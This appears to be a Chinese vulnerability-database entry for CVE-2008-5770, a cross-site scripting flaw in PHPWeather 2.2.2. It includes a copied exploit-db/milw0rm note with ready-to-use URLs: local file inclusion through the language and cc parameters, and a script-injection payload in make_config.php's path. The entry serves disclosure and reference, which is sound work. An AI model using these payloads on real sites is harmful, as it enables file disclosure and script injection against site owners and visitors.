PHP Weather 'config/make_config.php'跨站攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117034 漏洞类型 跨站脚本
发布时间 2008-12-14 更新时间 2009-01-29
CVE编号 CVE-2008-5770 CNNVD-ID CNNVD-200812-493
漏洞平台 PHP CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/7451
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200812-493
|漏洞详情
PHPWeather是一款可以在站点上显示天气的软件。PHPWeather2.2.2版本中的config/make_config.php存在存在跨站脚本攻击漏洞。远程攻击者可以借助PATH_INFO,注入任意的web脚本或HTML
|漏洞EXP
****(Lfi/xss)****

script: phpweather-2.2.2

***************************************************************************
download from:http://downloads.sourceforge.net/phpweather/phpweather-2.2.2.zip?modtime=1087430400&big_mirror=0
   
***************************************************************************
vul:
/test.php

line 48:
 require(PHPWEATHER_BASE_DIR . "/output/pw_text_$language.php");
   
***************************************************
xpl:
www.site.com/path/test.php?metar=()&language=[Lfi]%00
.....................................................
www.site.com/path/index.php?cc=[Lfi]
....................................................
xss:
www.site.com/path/config/make_config.php/>"><ScRiPt>alert(0)</ScRiPt>
..................................................

Author: ahmadbady from:iran

***************************************************

# milw0rm.com [2008-12-14]
|参考资料

来源:XF
名称:phpweather-makeconfig-xss(47308)
链接:http://xforce.iss.net/xforce/xfdb/47308
来源:BID
名称:32820
链接:http://www.securityfocus.com/bid/32820
来源:MILW0RM
名称:7451
链接:http://www.milw0rm.com/exploits/7451
来源:SREASON
名称:4826
链接:http://securityreason.com/securityalert/4826
来源:SECUNIA
名称:33098
链接:http://secunia.com/advisories/33098